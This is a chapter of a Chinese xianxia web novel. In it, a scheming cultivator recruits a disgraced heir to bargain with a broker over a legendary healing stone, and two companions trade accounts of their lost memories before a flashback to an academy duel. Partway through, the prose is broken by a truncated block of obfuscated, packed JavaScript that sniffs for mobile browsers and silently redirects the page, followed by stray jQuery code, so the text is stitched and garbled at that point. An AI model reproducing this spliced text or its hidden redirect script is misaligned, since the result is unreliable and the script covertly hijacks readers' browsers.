25. 玉堂城怪病(7)
作品:《断剑埋荒楚》 狡兔三窟。
玉堂城外一偏僻小林,何无许背靠树桩,身体瘫软地倚坐着,显然已顾不上什么体面。他的衣袍污损破裂,面颊颈侧残留着干涸血迹,看起来很是瘆人。
陈泛提着裙摆缓步而来,避开一路尘泥。临近了,她刻意抬脚碾过落叶,发出些细碎声响作提醒。
何无许猛地抬头,急促动作间扯动伤口,引出一连串压抑不住的低咳。
“是我太过无用。”他嗓音嘶哑道,“您要我争夺城主之位,助力道盟日后在玉堂城埋藏灵脉……可我竟连第一步都未能顺利踏出。真没想到,亦宁比我更心狠,更不顾我们的兄妹情谊……幸好您慈悲仁善,即便我失败了,您还愿意救我一命。
陈泛道:“有无名会之人坐镇玉堂城为何亦宁助威,此事又恰巧牵扯旁人引来雪里真人关注,对面人多势众,我们单枪匹马,失败也在情理之中。”
何无许心有不甘,咬牙恨声道:“那就要怪时运不济!我如今还能做什么?陈仙长,我真的很想拥有灵根,真的很想加入道盟,成为一个修行者!我不想一直当凡人,寿数寥寥几十年,平庸而生,碌碌至死!”
陈泛弯起唇角,笑容里几分怜悯几分嘲弄:“果然。蜉蝣朝生暮死无知无觉,修士坐忘百年只当弹指一挥间,唯有我们凡人,才会对寿数之事耿耿于怀。”
何无许捕捉到关键字眼,惊道:“我们凡人?陈仙长,您不是代表道盟而来……”
“不是。”陈泛向前两步,手指轻轻搭在树桩上,低头俯视着何无许,“曾经的我,与你一样,只是一个挣扎求存的凡人,命若飘萍,生死由天。只不过我足够努力,足够心狠,奋斗多年,终于拥有可以搅动风云的力量。”
何无许仰着头,渴望几乎要冲破他的胸腔。
只听陈泛道:“玉堂城大局已定,安定城不可沾染,永和城又是长梧山庄根基所在,简直铁板一块。我思来想去,平州之内,倒是还有一处好地方适合埋藏沧澜灵脉。”
何无许急急问道:“是什么地方?”
“积香集。”陈泛道,“里头有位厉害的掮客,人称竹先生。他工于心计,人脉极广,消息灵通,在那一带可谓是手眼通天,正可以为我所用。我再给你一个机会,由你秘密替我前去,与他谈一笔交易——他与我的一位老朋友有些交情,我不便亲自现身。”
何无许问:“仙长肯给我这个机会,是我的荣幸。需要我做些什么?我定当竭尽全力!”
陈泛道:“我有一块名为「无垢」的奇石,乃上古时期女娲补天后所遗留的九天玄石之一,有活死人肉白骨之效。你去告诉竹先生,若他愿意全力助我掌控积香集,迎接道盟在那儿重建沧澜灵脉,我便将这无垢石作为酬劳交予他。”
“他的妹妹阿梅肉身腐烂而魂魄溃散,只能依赖走私而来且价格高昂的傀儡躯体续命;而他自己重病缠身,亦是时日无多。我知道,他很需要这个。”
何无许脱口而出:“活死人肉白骨……世上当真有如此神物?”
陈泛笑道:“天地之大,无奇不有,只是凡人困于方寸之地,未能窥见罢了。何无许,你为人勤勉,心志坚定,又知晓许多修行秘辛,来日定有大作为。你放心,那种困于凡胎,心有不平却深感无能为力的滋味,我能理解。待事成以后,我有办法,让你拥有如我这般的力量。”
何无许自是感恩戴德。
……
长扬小院,客房。
弥沙长老倒在墙角,人事不省。
“我担忧他有所防范,剂量加重了些。”谢不能仰倒在床边,余光瞥着弥沙长老,“加之你那一刀贯穿他肺腑,短时间内,他怕是醒不过来。”
虽服过谢不能悄悄塞来的解药,软筋散的余威仍未散尽。青琅斜坐着,眉眼间尽是倦怠:“此人言辞模糊不清,话语之间故布疑阵,没有继续对话的必要。”
“倒也是一个获知消息的渠道。”谢不能收回目光,有气无力地闭上眼,“无名村事毕,如今正是好时候,让我履行承诺,将一切坦诚相告。”
“数月以前,我在北地雪原醒来,遍体鳞伤,魂魄残缺,记忆零碎。我在附近尝试寻找,几经周折,最终却只在扶薰谷内找到一封直指我是凶手的血书,没有其它线索。”
“天地广阔,何必执着于记起往事?若无不可控的天示频频烦扰,缺失魂魄的身体多病虚弱,教我不得自在……我自会把那血书一扔,只当无事发生,逍遥四方,随心所欲。”
世上什么样的人没有?杀人或被人杀,害人或被人害,坑骗人或被人坑骗,灭人满门或被人灭满门……那血书是真是假,过去的他是以怨报怨还是无理滥杀,又有什么分别?当时的谢不能懒得分辨也懒得计较,只觉不如省下心力,只管去做当下想做的事,不要耽误眼前。
“我南行至平州寻你,是违规乘坐没有道盟监管的空间法阵。我以游医之名进入安定城,是因为脑海里残存些许医药常识。我触碰他人便会触发天示,触发天示便会伤及自己,我若真是以此为生一路走来,恐怕活不到看见你的那一天。不过说来也巧……若非以此为借口,我不会发现岳平。血书这个隐患自己撞到我面前来,我顺手查清真相,好过日后惹上未知的麻烦。不知道这位弥沙真人知道些什么……”
青琅道:“你在安定城救治过不少人,神医美名百里皆知。坊间传闻,行医济世是你毕生所求,即便遭恶霸打砸、病患施压,也从未放弃。”
“起初是想赚个好名声,方便与你交涉,后来做着做着,还真得出几分趣味。”谢不能道,“说来奇怪,有些人前来问诊,我为其望闻问切,并不会触发天示。可惜我看不出这些人有何特别之处。”
屋内寂静片刻。
许久后,青琅淡淡道:“弥沙真人所言,真假参半。在我的印象里,我与道盟无甚恩怨,亦没有做过什么炸毁沧澜灵脉之类的事……若是真做过,哪怕在海底磋磨多年,也不会轻易忘记吧?但是,柏川尊者抢过我的东西,待我拥有足够的能力,必前往道盟杀之雪恨。”
“我在同悲海底生活几十载,与我的邻居蛫相互陪伴,一起镇压无尽的怨念恨意,一起化解滔天的狂乱灵力。若弥沙真人所言不假,那是沧澜灵脉炸毁后反击倒灌的力量。但我足够了解自己,我更倾向于是哪个仇家对我下手。毕竟,无论我有没有那样的能力,无冤无仇,我无端去炸毁沧澜灵脉做什么?弥沙真人说是为了我所爱的人们……我要救人,定是力所能及,绝不会太过伤及自己。”
“总之,过去这么多年,我终于将这股力量化解部分,让自己可以离开同悲海底,搬进兴旺街,潜心修行,等待时机报复我的仇人们……这是我最重要的目标,其余事情,暂无暇顾及。”
谢不能问:“你要我救的人呢?”
青琅道:“是一位身体不好的街坊。杀死李观主后,我该去往另一处了结仇怨。离开以前,我想试试能否将她治好,送她到一个安全的地方。”
“我明白了。”谢不能道,“你有急需清算的旧账,我不该恳求你与我一起,天涯海角地去搜寻九天玄石剑的残片……于你而言,那不是紧要的事情。”
“不过,昨夜在护城河边,雪里真人已将一块残片送至你手,可否让我看一看?或许会有惊喜。”
青琅取出一物。
这块残片是浅灰色,质地透彻,边缘锐利,触手冰凉彻骨。内里有极淡的微光在缓慢流转,一看便玄妙非凡。
谢不能道:“有典籍记载,此石名为无垢。传言,它有洗经伐髓、重塑根骨之奇效,于修行大有裨益。”
青琅接过他递来的符纸,以灵力激活,点向无垢石残片。她低垂着眼,神情冷淡,看不出几分期待——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313172|181601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这块残片,也会给她带来关于过去的记忆吗?
无形的灵力蔓延四散。
记忆里,空气弥漫着草木清香,远处传来隐约钟声,悠扬肃穆。午后阳光透过繁茂枝叶,在交错石路间投落斑驳光影,许多身着统一素色袍服的年轻修士行走其中,或三三两两低声谈论,或独自一人步履匆匆。
是青崖书院。
“梨花台小亭里的人,是谁?”青琅被明霜退强行拉出演武场。二人僵持在岔路口,她皱眉望向不远处。
明霜退揣着手,很着痕迹地观察她脸色:“哈哈,是我表哥。”
修行者入道以后,外形改换缓慢。彼时的明霜退与如今的雪里真人看起来相差无几,只多几分生动的朝气。
青琅道:“我很讨厌他。”
明霜退压低声音:“哎呀,表哥不是什么坏人,就是太过恪守成规,不懂变通。我觉得你们之间有些误会,才想借此机会,为你们说和一番。”
青琅面无表情地瞥了那人一眼,转身便走:“没必要。”
“别呀!”明霜退一把拉住她衣袖,力道颇重,带着点不达目的不罢休的热情,“你是我最好的朋友,他是我最好的亲戚,看在我的面子上,你们别再这样啦!我特意求外出历练的师姐偷运进来的美味佳肴,比辟谷丹好吃一万倍哦……”
青琅向演武场走去。
一如往常,她与对手过了十几招,将对手击败,然后在对手的喋喋不休里轻巧出剑,指向藏书阁的方向。
对手谢过,便有另一人上前,要与她相互指教。青琅挑飞对方的法器,忽然心头一动,莫名烦躁。
她偏过头,果然看见场边林荫下多了一道身影。
那人端坐石凳上,一袭素雅青衣,并未穿着书院统一制式的袍服,很是有些衣装带来的出众。他膝上置着一架古琴,正有泠泠乐音随他拨弄倾泻而出。
树间光影模糊了他的五官,以演武场的距离已看不真切。如此,却更衬得他气质出尘脱俗,引得不少学生频频张望。
正是明霜退的表哥时泽真人,兼具“吾辈模范高岭之花”与“世家装货眼高于顶”的一位神人——
对手走神一瞬:“哇,寂雨琴明清英。”
记忆里的青琅心头火起,克制的剑招陡然一变,攻势骤然猛烈!
对手被她突如其来的猛攻打得措手不及,连连败退,喊道:“青琅师妹,你莫不是记恨我前些天在轻功课上占座一事……我只是想坐在后面一点,免得被老师抽考!”
青琅手腕一抖,无形剑气自木剑尖端迸发而出,并非攻向对手,而是势不可挡地劈向不远处那棵古树!
古树剧烈摇晃,花叶断裂,带着积水簌簌而落,浇得明清英满身。
明清英的动作顿住,琴音戛然而止。
水流顺着他长垂至腰的黑发滴落,浸湿衣衫,将那份超然物外的清雅气度打破几分。明清英缓缓抬起头,望向演武场中的青琅,倒是没什么多余的表现。
“一时失手,实在抱歉。”青琅回头道,“我有些事,暂离一会儿,晚点再陪你打。下一节……轻功课?你若被抽考,我替你上。”
对手对着青琅离去的背影大喊:“老师都认识你了!能不能帮我考避水课?避水课看不清脸!记得去报修一下那棵树!”
明霜退在场边惊呼一声,左右看看,选择飞奔至青琅身旁,低声道:“青琅!表哥于我说,是想来为你抚琴助威……”
“不需要。”青琅持剑而立,努力收掩周身烦躁后,方才抬眼看向明霜退:“让他滚。”
明霜退叹气道:“我是一片好意……你们之间,到底有什么恩怨?总不是最近盛传的什么散修与世家的不合吧?你都愿意把新得的秘境法宝送给我了……”
青琅道:“再多说一句,你也走开。我要去报修赔偿,别跟着我。”